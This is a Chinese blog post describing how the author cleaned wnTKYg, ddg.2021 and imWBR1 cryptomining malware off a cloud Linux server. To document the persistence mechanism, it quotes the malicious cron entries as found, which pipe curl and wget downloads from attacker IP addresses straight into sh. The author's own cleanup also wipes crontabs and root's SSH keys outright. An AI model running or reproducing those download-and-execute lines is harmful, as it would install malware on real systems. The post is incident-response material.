登录
原创

服务器 CPU 异常-wnTKYg 挖矿木马彻底删除方法

发布于 2020-10-19 阅读 4062
  • Linux
  • 服务器
原创

昨天晚上阿里云服务器 CPU 超过 90% 预警,没有理睬。今天早上查看服务器状况,原来异地登录被嵌入挖矿木马了!

top 命令查看发现 2 个异常进程:

CPU :wnTKYg 占用 99%, ddg.2021 占用 1%

尝试解决:

  1. 杀进程,并删除木马文件 – 未完全解决
$ find / -name wnTKYg
/tmp/wnTKYg

$ pkill wnTKYg 
$ rm -rf /tmp/wnTKYg

  1. 未杀 ddg.2021 进程,木马重新生成 –
$ find / -name ddg.2021
/tmp/ddg.2021

$ pkill ddg.2021 
$ rm -rf /tmp/ddg.2021

再重复 1 的操作即可删除成功!

杀不死的进程

是不这样就可以了呢,很可惜,我以为这样就可以了,但是它并没有啊,请看下面的图
111.png

显然它在15分钟后开始自启动了,接着大概在18:35分钟的时候它又开始工作了,重新开启 389.5%CPU

进程情况如下

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2791 root      20   0  541148  44416   1000 S 389.5  0.3  40:45.54 imWBR1
 2607 root      20   0  310392   9268   5776 S   0.3  0.1   0:01.14 ddg.2021
 4292 root      20   0   27768   1584    516 S   0.3  0.0  26:33.63 redis-server
 7110 root      20   0  251348  16712   3072 S   0.3  0.1 181:11.61 AliYunDun

而 /tmp 目录中又出现了ddg.2021,而且还多了 imWBR1

ls /tmp/
ddg.2021
hsperfdata_root
imWBR1

再次删除并杀掉进程

rm -f /tmp/ddg.2021  /tmp/imWBR1
kill -9 2791
kill -9 2607

解决方案:找到它的定时任务并删除执行脚本和SSH的公钥

可以肯定的是一点会有一个定时任务在不停的检测是否程序被杀死了,如果杀死了并且可执行文件也被删除了那么它就会自动下载源程序并且启动执行脚本。

根据参考文档我去 /var/spool/cron 这个文件夹看了下,事实就是如此,那么我们来看看它的定时任务内容

cat  /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

可以看出它有两个定时任务

  1. 删除 /var/spool/cron 下的内容
 rm -fr  /var/spool/cron/
  1. 删除ssh授权的公钥配置信息
rm -fr /root/.ssh/*
  1. 删除执行脚本和程序
    在执行上面相似的方法
 ps -aux|grep ddg
   3458  /tmp/ddg.2021
 kill -9 3458
ps -aux|grep imWBR1
 3649  /tmp/imWBR1
kill -9 3649

rm -f /tmp/ddg.2021  /tmp/imWBR1

4. 清空 /etc/crontab 中的定时任务 (注:查看有异常定时任务,再清除操作)

接着找定时任务,我在 /etc/crontab 找到一个,看 ip 就觉得有问题

 cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh

清空该定时任务

echo '' > /etc/crontab

对比特币挖矿木马分析研究和清除:http://www.freebuf.com/column/157775.html

总结

中招原因:linux 的 www 用户开启了登录权限设置简单密码,导致被撞库登录,并植入 crontab 命令写入 /tmp/php, 解决办法当然是先修改密码了(最好关闭www用户登录权限),然后用 www 用户登录:

1. 查看

crontab -l
# 注释掉定时任务
# * * * * * wget -q -O - http://83.220.169.247/cr3.sh |sh > /dev/null 2>&1

### 2. 结束高耗 CPU 任务并删除
```shell
ps aux|grep php

www 12465 98.5  0.1 372984  3440 ?   Ssl  Dec14  3820:12 /tmp/php -c /tmp/p2.conf

sudo kill -9 12465

sudo rm /tmp/php

评论区

励志做一条安静的咸鱼,从此走上人生巅峰。

0

0

0

举报